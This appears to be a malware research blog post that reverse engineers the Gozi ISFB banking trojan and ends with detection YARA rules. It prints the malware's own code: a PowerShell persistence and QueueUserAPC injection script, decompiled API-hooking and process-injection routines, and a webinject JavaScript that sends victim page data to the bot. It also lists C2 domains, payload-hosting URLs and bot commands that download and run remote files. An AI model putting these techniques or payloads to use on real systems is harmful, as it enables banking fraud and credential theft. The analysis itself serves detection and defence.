Let’s Learn: In-Depth Reversing of Recent Gozi ISFB Banking Malware Version 2.16/2.17 & "loader.dll/client.dll"

Goal: Reverse engineer and analyze one of the latest Gozi “ISFB” ( also called “Ursnif'” amongst various researchers) banking malware variants focusing on the one of the latest “client.dll” 32-bit (x86) one. 

https://platform.twitter.com/widgets.js Malware:
Original Packed Loader (MD5: e2476ed98a57bbb14f45fd1e04d4c43c)
Downloaded Tor 32-bit DLL Module (MD5: cc312c797e73d06f397516f9b9d7a438)
Leaked  “client.dll” (February 3, 2015) (MD5: 4fe85d04cc4b8602c27973ab3f08b997)
Unpacked Injected “client.dll” (April 14, 2018)(MD5: c23a41c83e82f45b6742ad07218232f9)
Other observed “client.dll”:
*Unpacked Injected “client.dll” (July 31, 2018)(MD5: 22b748df15e580b10c984f691f7c0fa9)
*Unpacked “loader.dll” (August 20, 2018)(MD5: 3ec8607de7b0b194f19962d3e987031c)
*Unpacked Injected “client.dll” (August 20, 2018)(MD5: 51d010dbca2aa9031b4d12312b56637b)
Outline:

I. Malware Campaign Spreading "ISFB" Banker  
II. Background on ISFB Banker
III. ISFB Loader (August 20, 2018): QueueUserAPC & PowerShell
IV. Differences Between Leaked ISFB and ISFB 2.16/2.17 Variants
V. Tor Onion Library
VI. Stealer Methods
VII. Hooking Method
VIII. Process Injection
IX. Inject Processor
X. Yara Signature:
A. ISFB v2.17 "loader.dll" (32-bit) version
B. ISFB v2.16/2.17 "client.dll" (32-bit) version
XI. Addendum
A. Extracted ISFB Configuration
B. Hooked APIs
C. Original Commands from Leaked ISFB v2.13
D. ISFB "RM3" Function and Debug Statements

I. Malware Campaign Spreading “ISFB” Banker
While reviewing one of the latest malware campaign spreading the notable ISFB banker, I decided to dive deeper into this banker malware sample. It is notable that this specific malware campaign was targeting customers of Italian financial institutions. However, this same bot contains webinjects configuration for both US and Canadian financial institutions. 
II. Background on ISFB Banker
ISFB Banker malware is one of the oldest and one of the most advanced information-stealing malware tracing some of the code to 2006. The Gozi is traced back to the notable “76Service,” “CRM,” and “Project Blitzkrieg” criminal business clubs targeting customers of financial institutions. I highly recommend reading Maciej Kotowiez’s paper titled “ISFB: Still Live and Kicking” before learning more about ISFB banker. 
The ISFB version “2.13.24.1” (February 3, 2015) source code was leaked originally on the criminal underground in 2015. This same was also uploaded by researchers to GitHub.
In the past, the source code of the malware kit was offered for sale for $30,000 USD. However, shortly after, its main actor group offered the code for the following prices:

Minimalistic ISFB: $12,000 USD
Keylogger support: $3,0000 USD
SOCKS support: $3,000 USD
Stealer support: $5,000 USD
Anti-Rapport: $4,000 USD
VNC support: $8,000 USD
Backconnect support: $3,000 USD

The original client dropper/loader module was called originally “CRM” as part of the Gozi ISFB project. It is notable that the Gozi project originally included the “IAP” web panel project and the “ICS” configurator. It is worth to highlight that there are multiple groups that use the ISFB toolkit including the ones that developed their own  “Dreambot” web panel. Fortinet did interesting coverage of the differences between “Dreambot” and the leaked ISFB (including its “joined files” (or “FJ”) struct). 
III. ISFB Loader (August 20, 2018): QueueUserAPC & PowerShell
ISFB banker also contains a simple injected “loader.dll” after the cryptor routine that is used to launch the execution of the malware.
The unpacked ISFB loader is small in size of just 44 kb with three imported DLLs.

Notably, this loader was observed for observed heavily leveraging PowerShell scripting for registry persistence functionality via the hardcoded cmd command invoking PowerShell:

powershell invoke-expression([System.Text.Encoding]::ASCII.GetString((get-itemproperty\
'HKCU:\%S').%s))

For example, the loader creates a PowerShell script in hex in the registry that can be decoded  that leverages QueueUserAPC bytecode injection to process the next stage as follows:

$qbhuthvrmyf = "[DllImport("kernel32")]
public static extern IntPtr GetCurrentProcess();
[DllImport("kernel32")]
public static extern
IntPtr VirtualAllocEx(IntPtr wwj,IntPtr lxffofo,uint aoconcm,uint iuk,uint \
 hwsivuroj);"
$xuisvutgkgo=Add-Type -memberDefinition $qbhuthvrmyf -Name 'qyaaexcigm' \
-namespace Win32Functions -passthru;
$ujppmfuuik="[DllImport("kernel32")]
public static extern IntPtr GetCurrentThreadId();
[DllImport("kernel32")]
public static extern IntPtr OpenThread(uint xwocdx,uint adflgvt,IntPtr xbxe);
[DllImport("kernel32")]
public static extern uint QueueUserAPC(IntPtr ijaq, IntPtr twsxxmyebm,\
 IntPtr xfnggdcn);
[DllImport("kernel32")]
public static extern void SleepEx(uint ocqxap,uint cpvoeuen);";
$eeihwxjq=Add-Type -memberDefinition $ujppmfuuik -Name 'btdpmiijeg' -namespace \
 Win32Functions -passthru;

The “loader” module communicates over HTTP to a separated ISFB server, which hosts the “client” modules (32-bit and 64-bit ones) and the above PowerShell script called “run.”
Additionally, on July 30, 2018, one ISFB group released the “client.dll” with debugging on. This version 3.0 with build ID “613” revealed that that the loader was called “RM3”.

[%s:%u] RM3 loader version %u.%u build %u on Windows %u.%u.%u %s

The main internal “loader.dll” control functions with the respective description are as follows:


















RM3 "loader.dll' FunctionFunction Description
LdrStartLoaderProcessstarts "loader.dll" process
Ldr2LoadInichecks "LOADER.INI" signature check
Ldr2LoadFileretrieves modules over HTTP and checks for signature
LdrIsElevatedchecks the host integrity level and if it has elevated privileges
Ldr2GetLoaderModuleretrieves and loads the startup module
Ldr2SaveModulesToRegistrysaves modules to the registry and creates registry hives
Ldr2SaveAllModulessaves 32-bit and 64-bit "client.dll" modules to the registry
Ldr2MakeRunRecordcreates an autorun value and makes sure the memory is allocated.
Ldr2RegEnumCallbackenumerates and writes autorun value and sets
Ldr2MakeEncodedImagecreates an encoded image using the public key with Serpent and checks for "BlExecuteDllImage" export
ReplaceSubStrparses and replaces strings
Ldr2SetupModulestries to elevate privileges and loads modules, walks the registry, and and restarts modules as necessary
Ldr2LoadModulestries to load modules
Ldr2DisableIeDialogsdisables Internet Explorer dialog since it leverages it for downloading modules
Ldr2LoaderMainstarts the main loader function

All of the modules are encoded with Serpent encryption and can be decoded using its public key.
Subsequently, the malware would subsequently install the client.dll via injecting it into explorer.exe and storing a copy of it in the registry. The malware developers, however, deliberately erased a portion of the PE header and removed named references to imported DLL “kernel32.dll” and “ntdll.dll” making malware analysis just a little bit more complicated. 
IV. Differences Between Leaked ISFB and Latest ISFB Variant
I decided to take a look at the leaked code and review their compiled client DLL code. It is notable that the leaked ISFB had the version “2.13.24.1″ (February 3, 2015), while one of the latest ISFB variants had a version of “2.16” (April 14, 2018) with the build id “994.” The observed botnet ID for the latest sample was “1000.” It is worth noting that since ISFB also has version “2.17” (August 20, 2018), which improved some code structure from the previous version and added @KILL@=* inject control.
The unpacked 2.16 client.dll contains 645 functions with 183 KB size, while the leaked client.dll contains 512 functions with 136 KB size. The bot also stores “Client32” and “Client64” in FJ struct.
The newer sample leverages “.bss” section and unpacks the code via the following pseudo-coded C++ function:

///////////////////////////////////////////////////////////////  
///////// ISFB variant ".bss" DecodeFunction //////////////////
///////////////////////////////////////////////////////////////
int __stdcall bss_decodeFunction(int a1)
v15 = 0;
String1 = 0;
v12 = 0;
v13 = 0;
v14 = 0;
lstrcpynA(&String1, ".bss", 8);
v1 = decoder(a1, (int)&String1);
v2 = v1;
if ( v1 )
{
v3 = *(_DWORD *)(v1 + 12);
if ( v3 && *(_DWORD *)(v1 + 16) )
{
v4 = *(_DWORD *)(v1 + 16);
v5 = *(_DWORD *)"018";
v6 = (*(_DWORD *)"14 2018" ^ *(_DWORD *)"Apr 14 2018" ^ (v4 + v3)) + 14;
v7 = (char *)VirtualAlloc(0, v4, 0x3000u, 4u);
v8 = v7;
if ( v7 )
{
ror4_dec(v7, (char *)(a1 + *(_DWORD *)(v2 + 12)), *(_DWORD *)(v2 + 16), v6, 1);
// "version=%u&soft=%u&user=%08x%08x%08x%08x&server=%u&id=%u&type=%u&name=%s"
v9 = *(_DWORD *)(v2 + 12);
dword_1002B0D4 = *(_DWORD *)(&v8[(_DWORD)aVersionUSoftUU] + -a1 - v9)
+ *(_DWORD *)(&v8[-a1 - v9 + 4] + (_DWORD)aVersionUSoftUU)
- *(_DWORD *)(&v8[-a1 - v9 + 12] + (_DWORD)aVersionUSoftUU);
if ( dword_1002B0D4 == 0x736C6E70 )
memcpy((void *)(a1 + v9), v8, *(_DWORD *)(v2 + 16));
else
v15 = 12;
VirtualFree(v8, 0, 0x8000u);
}

It is important to investigate binary-level and function-level differences between the leaked earlier version of ISFB and the recent unpacked one before taking a deeper dive into the newer version.

The latest v2.16 version contains the exact same static import table as the original leaked v2.13 one with the additional 4 ntdll.dll (e.g., new and changed APIs are NtQuerySystemInformation, RtlUpcaseUnicodeString, RtlImageNtHeader, _snprintf, etc.) and 7 kernel32.dll imports.
In order to identify and highlight differences, I decided to utilize an open-source plugin tool “Diaphora” for IDA leveraging its decompiler mode.
The binary diff analysis between the latest client.dll versus the leaked one version shows the following results:

Full matches: 259 functions
Partial matches: 72 functions
Unreliable matches: 126 functions
Unmatched functions in the latest client.dll: 21 functions
Unmatched functions in the leaked client.dll: 188 functions


Some of the differences in the latest client DLL include additions in the URI template such as follows with “/images/” URI path, for example:

&ip=%s
&os=%s
&tor=1
%time=%lu
%action=%u

By and large, in general, the ISFB botserver communication channels relies on four major types of communication:

Hardcoded domains
Domain Generation Algorithm (DGA)
Tor Onion Communication
Peer-to-Peer Protocol (P2P)
The URI requests are linked to the same path “soft=%u&version=%u&user=%08x%08x%08x%08x&server=%u&id=%u&crc=%x”:

".gif" - obtain a new task, which is linked to "LastTask" registry check
".jpeg" - obtain a new config, which saves the new config.
It is linked to "Main" registry check, which saves the config.
".bmp"
".avi"
The newer version has a different user-agent string as “Mozilla/5.0 (Windows NT %u.%u%s) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.71 Safari/537.36” versus the leaked one with “Mozilla/4.0 (compatible; MSIE 8.0; Windows NT %u.%u%s).”

By and large, the ISFB variant bot heavily relies on the registry for storage and queries of tasks including the following registry query checks for the values of interest:

#define szDataRegDataValue_src     _T("Main")
#define szDataRegBlockValue_src _T("Block")
#define szDataRegTemplate_src _T("Temp")
#define szDataRegClientId_src _T("Client")
#define szDataRegIniValue_src _T("Ini")
#define szDataRegKeysValue_src _T("Keys")
#define szDataRegKillValue_src _T("Kill")
#define szDataRegExeValue_src      _T("Install")
#define szDataRegTaskValue_src _T("LastTask")
//#define szDataRegConfigValue_src _T("LastConfig")
#define szDataRegTorValue_src _T("TorClient")
//#define szDataRegExecValue_src _T("Exec")
//#define szDataRegOperaHook_src _T("OpHook")
//#define szDataRegCrhromeHook_src _T("CrHook")

The bot also checks the config settings for “LastTask”,  for example in the registry via the following “GetLastTask” proc near prototype in ASM:

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;; ISFB Gozi GetLastTask ;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
push ebp
mov ebp, esp
sub esp, 24h
push ebx
push esi
push edi
lea eax, [ebp+cbData]
push eax ; lpcbData
lea eax, [ebp+lpMem]
push eax ; int
xor ebx, ebx
push offset aLasttask ; "LastTask"
 
mov [ebp+var_14], ebx
call RegQueryValueExFunction
cmp eax, ebx
jnz short loc_100036CC
cmp [ebp+cbData], 8
mov eax, [ebp+lpMem]
jnz short loc_100036BC
mov ecx, [eax]
mov dword ptr [ebp+Data], ecx
mov ecx, [eax+4]
mov [ebp+var_1C], ecx
jmp short loc_10003BA9

Additionally, the latest ISFB variant deploys system checks in addition to the usual software enumeration via HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\ for “net view” command (view of mapped devices, shares) as well as “nslookup myip.opendns.com resolver1.opendns.com” (view of external IP address), which are new to the malware variant.

IV. Tor Onion Library
This specific ISFB variant version 2.16 was configured to use the Tor DLL library that was downloaded for either 32-bit or 64-bit architecture for botserver communications
The downloaded Tor DLL contains the program database as follows:
C:\Users\mr_wi\OneDrive\Projects\tordll\Release\tordll.pdb
Additionally, the Tor DLL library contained the following four DLL exports:

Name Address Ordinal
TorCloseRequest 100022D0 1
TorCompleteRequest 10002210 2
TorOpenRequest 10001DF0 3
TorSendRequest 10002100 4
DllEntryPoint 10184402 [main entry]
The malware retrieves Tor modules (either 32-bit or 64-bit ones) via the dynamic configuration with the “file://” path.
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;; ISFB Gozi Tor "file://" & Communicator Check ;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
push ebp ;
mov ebp, esp
push ecx
push ecx ; lpSrch
push ebx ; lpFirst
push esi
mov esi, StrStrIA
push edi
mov edi, eax
push offset Srch ; "file://"
push edi ; lpFirst
call esi ; StrStrIA
xor ebx, ebx
cmp eax, edi
jz short loc_10003B98
push offset a_onion ; ".onion/"
push edi ; lpFirst
call esi ; StrStrIA
test eax, eax
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+lpMem]
push eax
jz short loc_10003B90
push 1
push ebx
push ebx
push ebx
push ebx
push dword_1002B160
push edi
call sub_1000E0EE
jmp short loc_10003BA9

The following pseudo-coded instruction is responsible for storing the "TorClient" in registry:
///////////////////////////////////////////////////////////////////////  
/////// ISFB "TorClient" RegistrySetup excerpt ////////////////////////
///////////////////////////////////////////////////////////////////////
if ( cbData > 0x40000 )
{
v8 = GetTempFileNameA_getcurrentthread(0);
if ( v8 )
{
v2 = registryWriteFile(v8, 0, 0, (int)ImageBase, v7);
if ( !v2 )
{
v9 = lstrlenA(v8) + 1;
rol4(v8, v9, dword_1002B098);
v2 = RegSetValueEx_func(aTorclient, (BYTE *)v8, v9, 3u);//"TorClient"
}
HeapFree(hHeap, 0, (LPVOID)v8);
}
else
{
v2 = 8;
}
}
else
{
rol4(ImageBase, cbData, dword_1002B098);
v2 = RegSetValueEx_func(aTorclient, (BYTE *)ImageBase, v7, 3u);//TorClient"
}
}
if ( ImageBase )
HeapFree(hHeap, 0, ImageBase);
return v2;
}

V. Stealer Methods
Finally, ISFB leverages multiple functionalities to retrieve certificates, extract cookie information, steal email accounts stored locally.
A. “GET_SYSINFO”
The malware opens a registry key “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall” and enumerates keys via RegEnumKeyExW API to obtain a list of installed software.
B. “GET_CERTS”

The malware hooks CryptGetUserKey API and exports user-specific certificates to “.pfx” file from the Windows certificate store and sends them to the server. The function also contained a unique string “ISFB.”

///////////////////////////////////////////////////////////////////////  
/////// ISFB "GetCertificates" to .pfx ///////////////////////////////
///////////////////////////////////////////////////////////////////////
CertExportToPfx("My", CertFullName);
CertExportToPfx("AddressBook", CertFullName);
CertExportToPfx("AuthRoot", CertFullName);
CertExportToPfx("CertificateAuthority", CertFullName);
CertExportToPfx("Disallowed", CertFullName);
CertExportToPfx("Root", CertFullName);
CertExportToPfx("TrustedPeople", CertFullName);
CertExportToPfx("TrustedPublisher", CertFullName);

C. “GET_COOKIES”
ISFB tries to obtain cookies from the following browsers, for example:

Internet Explorer (local search as "*.txt" in APPDATA\Low)
Mozilla Firefox (local search as Mozilla\Firefox for "cookies.sqlite")

The ISFB variant also searches for “*.sol” files associated with Flash Player cookies.
C. “GET_MAIL”
ISFB harvests and sends to the server Windows Live Mail and Outlook email credentials via local and registry searches of both software and browser store logins focusing on HTTP, IMA, POP3, and SMTP emails and passwords and stores them in this following format:

type=%S, name=%S, address=%S, server=%S, port=%u, ssl=%S, user=%S, password=%S
Additionally, it issues a command “cmd.exe” /C pause mail” to presumably unlock the retrieval of email credentials from applications.
VI. Hooking Method
While “relaxing” SPDY browser security (e.g., via “user_pref(“network.http.spdy.enabled”, false)” in Mozilla Firefox’s “prefs.js” file), ISFB uses their own user-mode hooking method of various API calls.
For example, the malware hooks various Mozilla Firefox browser APIs and leverages ntdll’s API such as LdrRegisterDllNotification to set and remove DLL load and unload notification call-back, for example.

The malware also hooks LoadLibraryA, for example, to intercept calls while targeting Chrome and Opera. Additionally, it hooks API as well to bypass SPDY. Other malware hooks include RegGetValueW RegQueryValueExW for querying registry, CreateProcess* (4 APIs) hooks for process injection as well as CryptGetUserKey hook for certificate export.
As usual, the malware overwrites the function prologue with the relative JMP opcode (0xe9) to its detour function.
//////////////////////////////////////////////////////
// ISFB Banker 'EnableHook' with "0xe9" offset jmp ///
//////////////////////////////////////////////////////
v4 = (void *)lstrlenDecoder(a2, *(LPCSTR *)(a1 + 4), 0, (int)&v12);
lpAddress = v4;
if ( v4 )
{
flNewProtect = 0;
if ( VirtualProtect(v4, 4u, 0x40u, &flNewProtect) )
{
v5 = flOldProtect;
*(_DWORD *)(flOldProtect + 0x18) = a1;
*(_DWORD *)(v5 + 8) = a2 + *(_DWORD *)v4;
*(_DWORD *)(v5 + 12) = v4;
*(_DWORD *)(v5 + 16) = *(_DWORD *)v4;
v14 = HookVirtual_recurs(a2, v5, a1, a3);
if ( v14 == 1 )
{
if ( dword_1002B070 )
{
v6 = func8DecoderHeapFree(a2, *(_DWORD *)(v5 + 8));
if ( v6 )
{ // Set up the function for "PAGE_EXECUTE_READWRITE" w/ VirtualProtect
if ( VirtualProtect((LPVOID)v6, 5u, 0x40u, &flOldProtect) )
{
*(_DWORD *)(v6 + 1) = *(_DWORD *)(v5 + 20) - v6 - 5;
*(_BYTE *)v6 = 0xE9u; // "0xe9" opcode for a jump with 32-bit relative
*(_DWORD *)(v5 + 0x14) = v6;
*(_DWORD *)(a1 + 0xC) = v6;
if ( flOldProtect != 0x40 )
flOldProtect = 0x20;
VirtualProtect((LPVOID)v6, 5u, flOldProtect, &flOldProtect);
}
}
}
*(_DWORD *)lpAddress = *(_DWORD *)(v5 + 20) - a2;
VirtualProtect(lpAddress, 4u, flNewProtect, &flNewProtect);
*(_DWORD *)(v5 + 28) |= 0x102u;
if ( *(_WORD *)(v5 + 28) & 0x200 )
VirtualProtectMain(v7, (const CHAR *)v12, v5);
EnterCriticalSection(&stru_1002B220);
v8 = dword_1002B218;
*(_DWORD *)v5 = dword_1002B218;
*(_DWORD *)(v5 + 4) = &dword_1002B218;
v8[1] = v5;
dword_1002B218 = (LPVOID)v5;
LeaveCriticalSection(&stru_1002B220);
*(_DWORD *)(a1 + 16) = a2 + *(_DWORD *)(v5 + 16);
v14 = 0;
v9 = ZwQueryInformationProcess2(a2);
VII. Process Injection
One of the notable malware components is its process injection routine that deals with “client” DLL injection. The process injection works around CreateProcess* hooks set up by the malware.
For example, the malware sets up their CreateProcessW with the function prototype having the suspended flag (0x4) and the subsequent process injection call. The idea is to suspend processes before they start, inject the malware DLL into them, and resume them.

ISFB also uses a pretty clever trick to make sure processes of interest are not hooked too early, i.e., before their main thread execution. The malware simply hacks a way to patch via ReadProcessMemory/WriteProcessMemory process original entry point (OEP) and wait until it loads and then restores unmapping the executable in the process memory and resuming/running it in memory. This method is also referenced in the leaked ISFB.

//////////////////////////////////////////////////////
// ISFB Banker CreateProcess "OEP" Patch Until Main ///
//////////////////////////////////////////////////////
signed int __userpurge ProcessInjectDll(int a1, int a2, char a3, void *a4)
{

lpProcessInformation_thread = a1;
v15 = 0;
memset(&v16, 0, 0x2C8u);
hProcess = *(HANDLE *)lpProcessInformation_thread;
v6 = *(void **)lpProcessInformation_thread;
origin_patch = 0xCCCCFEEB;
intArchitect = 0;
if ( open_proc_x86_x64(v6, 0) ) // Check if process x64/x86
{
intArchitect = 0x10;
}
else if ( orig_patch & 1 )
{
oep = GetProcessEntry(a2);
goto LABEL_19;
}
v15 = 0x10007;
oep_1 = a4;
if ( !a4 )
oep_1 = (LPVOID)ZwQuery_RtlNtStatusToDosError_0(*(HANDLE *)lpProcessInformation_thread);
if ( ReadProcessMemory(hProcess, oep_1, &original_1, 4, &NumberOfBytesRead)
&& NumberOfBytesRead == 4
&& PatchMemory(hProcess, oep_1, (int)&origin_patch) )// sizeof(0xCCCCFEEB) -> patch
{
v10 = 3000;
do
{
ResumeThread(*(HANDLE *)(lpProcessInformation_thread + 4));
if ( WaitForSingleObject(hHandle, 0x64u) != 0x102 )
v10 = 0x64;
SuspendThread(*(HANDLE *)(lpProcessInformation_thread + 4));
v10 -= 0x64;
RtlNtStatusToDosErrorMain(*(_DWORD *)(lpProcessInformation_thread + 4), (int)&v15);
} // Unmap injected image in memory of the process NtUnmapViewofSection /WriteProcessMemory
while ( v10 > 0 && v17 != oep_1 );
if ( v17 == oep_1 )
oep = injectImageUnmap(a2, (HANDLE *)lpProcessInformation_thread, intArchitect, 0);
else
oep = 0x261;
PatchMemory(hProcess, oep_1, (int)&original_1);// restore -> original OEP bytes
LABEL_19:
if ( oep != 0xFFFFFFFF )
goto LABEL_21;
}
oep = GetLastError();
LABEL_21:
if ( !(a3 & 4) )
ResumeThread(*(HANDLE *)(lpProcessInformation_thread + 4));
return oep;
}
VIII. Inject Processor
The ISFB variant leverages the following key logic elements for credential-stealing functionality and uses them for webinject and replica control:

@ID@  -> bot id (victim host identity)   
@GROUP@ -> group id (group id of the bot)
@RANDSTR@ -> random string
@URL=*@ -> targeted financial institutions
@CONFIG=*@ -> configuration
@VIDEO=*@ -> video to record once the victim visit the page of interest
@SOCKS=*@ -> connect SOCKS server
@KILL=*@ -> kill command (only with 2.17 version)
@VNC=*@ -> connect VNC
As mentioned earlier, this specific campaign targeted customers of Italian, Canadian, and US financial institutions. The webinject injects in their config are stored in the registry and are presented in the following own format, for example.

/////////////////////////////////////////////////////////
////////////////// ISFB WebInject Config Example ////////
/////////////////////////////////////////////////////////
"*", 
"<!DOCTYPE***",
"<!DOCTYPE***<script type='text/javascript'\
id='script_id' src='/@ID@/script.js?\
x=@ID@&y=@GROUP@&d=@ID@&bname=&v=@VIDEO@=7,180'>"
}

One of the more interesting features of the malware is on-demand video-recording victim visits to specific websites usually for 3 minutes with VIDEO parameters { @VIDEO@=7,180 }. Indeed, ISFB utilizes imported Avifil32.dll and various AVI* functions to record data to a stream saving it locally and exfiltrating it later to the server in order to review it for the possible account takeover fraud.
Moreover, ISFB also uses known webinject scripts developed by another actor. The scripts are called “_brows.cap” with the script name . The example of the observed inject is as follows:

/////////////////////////////////////////////////////////
////////////////// Inject Excerpt ///////////////////////
/////////////////////////////////////////////////////////
var wdebug = 0;
var replacer_run_count = 0;
var bot_nick = "@ID@";
var account_id;
String.prototype.fAkElink="";
String.prototype.fAkEstyle=document.createElement("style");
String.prototype.fAkEcss='body{visibility:hidden;}';
''.fAkEstyle.setAttribute("type", "text/css");
if(''.fAkEstyle.styleSheet){// IE
''.fAkEstyle.styleSheet.cssText = ''.fAkEcss;
} else {// w3c
String.prototype.fAkEcssText = document.createTextNode(''.fAkEcss);
''.fAkEstyle.appendChild(''.fAkEcssText);
}
if(document.domain.search(/<TARGETED_BANK_URL/g)>-1){
document.getElementsByTagName("head")[0].appendChild(''.fAkEstyle);
String.prototype.fAkEstart=function(){
if((document.readyState&&document.readyState=="complete")||\
(document.body&&document.body.readyState=="complete")){
if(document.body&&document.body.nodeName.toUpperCase()!="FRAMESET"){
if(!document.getElementById("js_com_1_qweqwe")){\

String.prototype.fAkETitle=
document.getElementsByTagName('title').length>0?document.getElementsByTagName('title')[0].innerHTML:"doc. have frame";
''.fAkEMakeElem("c=1&at=2&n=@ID@&b=TARGETED_BANK_URL/"+"&d="+encodeURIComponent(document.domain)
+"&doc_url="+encodeURIComponent(document.location.href)+"&doc_title="+encodeURIComponent(''.fAkETitle)+"&r="+Number(new Date()),
function(){document.body.style.visibility = "visible";},"script","js_com_1_qweqwe",false);
};
}else{
document.body.style.visibility = "visible";
}
}else{setTimeout(function(){''.fAkEstart()},1000);}
};''.fAkEstart();
}

IX. Yara Signature
A. ISFB v2.17 “loader.dll” (32-bit) version

rule crime_win32_isfb_v217_loader_dll {
meta:
description = "Detects ISFB loader.dll version 2.17 Aug 20, 2018"
author = "@VK_Intel"
date = "2018-08-28"
hash1 = "d3254467f310f5de9387119d9ec572f045286df70747ca97d99a993eca3efa23"
strings:
$x1 = "/C powershell invoke-expression([System.Text.Encoding]::ASCII.GetString((get-itemproperty 'HKCU:\\%S').%s))" fullword wide
$s0 = ".bss" fullword wide
$s1 = "GetBinaryValue" fullword wide
$s2 = "loader.dll" fullword ascii
$s3 = "/C \"copy \"%s\" \"%s\" /y && rundll32 \"%s\",%S\"" fullword wide
$s4 = "/C ping localhost -n %u && del \"%s\"" fullword wide
condition:
( uint16(0) == 0x5a4d and
filesize < 100KB and
pe.imphash() == "d7f06c756511270cacf97147c81ebb0b" and
( 1 of ($x*) or 4 of them )
) or ( 5 of them )
}

B. ISFB v2.16/2.17 “client.dll” (32-bit) version

rule crime_win32_isfb_v216_217__client_dll {
meta:
description = "Detecs Unpacked Gozi ISFB v. 2.16 variant client32.dll"
author = "@VK_Intel"
date = "2018-08-25"
hash1 = "5df8714c8ab4675681d45f5cc1408ce734010ccf179fb6386304e6194568b60a"
strings:
$x1 = ".bss" fullword ascii
$s1 = "PluginRegisterCallbacks" fullword ascii
$s2 = "Client" fullword ascii
$s3 = "TorClient" fullword ascii
$s4 = "client.dll" fullword ascii
$s5 = ".jpeg" fullword ascii
$s6 = ".bmp" fullword ascii
$s7 = "nslookup myip.oOutlinpendns.com resolver1.opendns.com" fullword ascii
condition:
( uint16(0) == 0x5a4d and
filesize < 500KB and
( 1 of ($x*) and 4 of them )
) or ( all of them )
}

X. Addendum
A. Extracted ISFB Configuration*

Config Fail Timeout     [u'1200']
Send Timeout [u'240']
Knocker Timeout [u'300']
DGA Season [u'10']
Botnet ID [u'1000']
DGA TLDs [[u'com', u'ru', u'org']]
IP Service [u'curlmyip[.]net']
BC Timeout [u'10']
Timer [u'20']
Server [u'110']
64-bit DLL URLs [[u'zjsgyyq[.]com/leader/pdf.zip', u'portaldobomretiro[.]net/wp-admin/network/2.bin', u'colourshield[.]com/m1/pdd.rtf', u'mukeshjshah[.]com/admuin/litecoin.rar', u'petras[.]name/fotos/zek.dmg', u'sbmpowisle.dag[.]pl/js/989999.sh', u'cdn.robatop[.]at/jvassets/zarch/xx.dmg']]
Encryption key [u'Nf6lU8d5X0i1Wr7V']
Value 11 [u'1']
Config Timeout [u'1200']
DGA CRC [u'0x4eb7d2ca']
Domains [[u'inc.robatop[.]at/wpapi', u'torafy[.]cn/wpapi', u'app.tohio[.]at/wpapi', u'scr.tohio[.]at/wpapi', u'yraco[.]cn/wpapi', u'poi.robatop[.]at/wpapi', u'login.cdrome[.]at/wpapi', u'az.popdel[.]at/wpapi', u'io.ledal[.]at/wpapi', u'in.ledal[.]at/wpapi', u'api.galio[.]at/wpapi', u'ssl.lottos[.]at/wpapi', u'harent[.]cn/wpapi']]
DGA Base URL [u'constitution[.]org/usdeclar.txt']
Task Timeout [u'240']
TOR Domains [[u'4fsq3wnmms6xqybt[.]onion/wpapi', u'em2eddryi6ptkcnh[.]onion/wpapi', u'nap7zb4gtnzwmxsv[.]onion/wpapi', u't7yz3cihrrzalznq[.]onion/wpapi']]
32-bit DLL URLs [u'zjsgyyq[.]com/leader/doc.zip', u'portaldobomretiro[.]net/wp-admin/network/1.bin', u'colourshield[.]com/m1/dll.rtf', u'mukeshjshah[.]com/admuin/coin.rar', u'petras[.]name/fotos/dash.dmg', u'sbmpowisle.dag[.]pl/js/757575.sh', u'cdn.robatop[.]at/jvassets/zarch/x.rar']]

*Cape Sandbox
B. Hooked APIs

Mozilla Firefox:
PR_Read
PR_Write
PR_Close
PR_Poll

Internet Explorer:
InternetReadFile
InternetWriteFile
InternetReadFileExA
InternetReadFileExW
HttpSendRequestA
HttpSendRequestW
HttpSendRequestExA
HttpSendRequestExW
InternetCloseHandle
InternetQueryDataAvailable
InternetStatusCallback
InternetConnectA
InternetConnectW
HttpQueryInfoA
HttpQueryInfoW
HttpAddRequestHeadersA
HttpAddRequestHeadersW
HttpOpenRequestW
InternetSetStatusCallback

Windows Explorer:
CreateProcessA
CreateProcessW
CreateProcessAsUserA
CreateProcessAsUserW

Windows Explorer:
RegGetValueW
RegQueryValueExW

Google Chrome & Opera Browser:
WSARecv
WSASend
closesocket
recv
LoadLibraryExW

Advapi32.dll:
CryptGetUserKey

C. Original Commands from Leaked ISFB v2.13* in Russian

GET_CERTS - экспортировать и выслать сертификаты, установленные в системном хранилище Windows. 
Для XP выгружает, также, неэкспортируемые сертификаты.
GET_COOKIES - собрать cookie FF и IE, SOL-файлы Flash, упаковать их с сохранением структуры
каталогов и выслать на сервер.
CLR_COOKIES - удалить cookie FF и IE, SOL-файлы Flash.
GET_SYSINFO - собрать системную информацию: тип процессора, версию ОС, список процессов, список
драйверов, список установленных программ.
KILL - убить ОС (работает только с правами администратора)
REBOOT - перезагрузить ОС
GROUP=n - сменить ID группы бота на n
LOAD_EXE=URL - загрузить файл с указанного URL и запустить его
LOAD_REG_EXE=URL- загрузить файл с указанного URL, зарегистрировать его в autirun и запустить
LOAD_UPDATE=URL - загрузить апдейт программы и запустить
GET_LOG - отправить внутренний лог на сервер
GET_FILES=* - найти все файлы, соответствующие заданной маске, и отправить на сервер
SLEEP=n - остановить обработку очереди команд на n миллисекунд. (используется при долгих операциях)
SEND_ALL - отправить все данные из очереди на отправку немедленно. В противном случае, данные оправляются
по таймеру.
LOAD_DLL=URL[,URL] - загрузить по указанному URL DLL и инжектить её в процесс explorer.exe.
первый URL для 32х-битной DLL, второй - для 64х-битной.

SOCKS_START=IP:PORT - запустить сокс4\5 сервер (при его наличии)
SOCKS_STOP - остановить сокс4\5 сервер

GET_KEYLOG - отправить данные кейлоггера (при его наличии)
GET_MAIL - активировать граббер E-Mail (при наличии) и отправить, полученные от него, данные
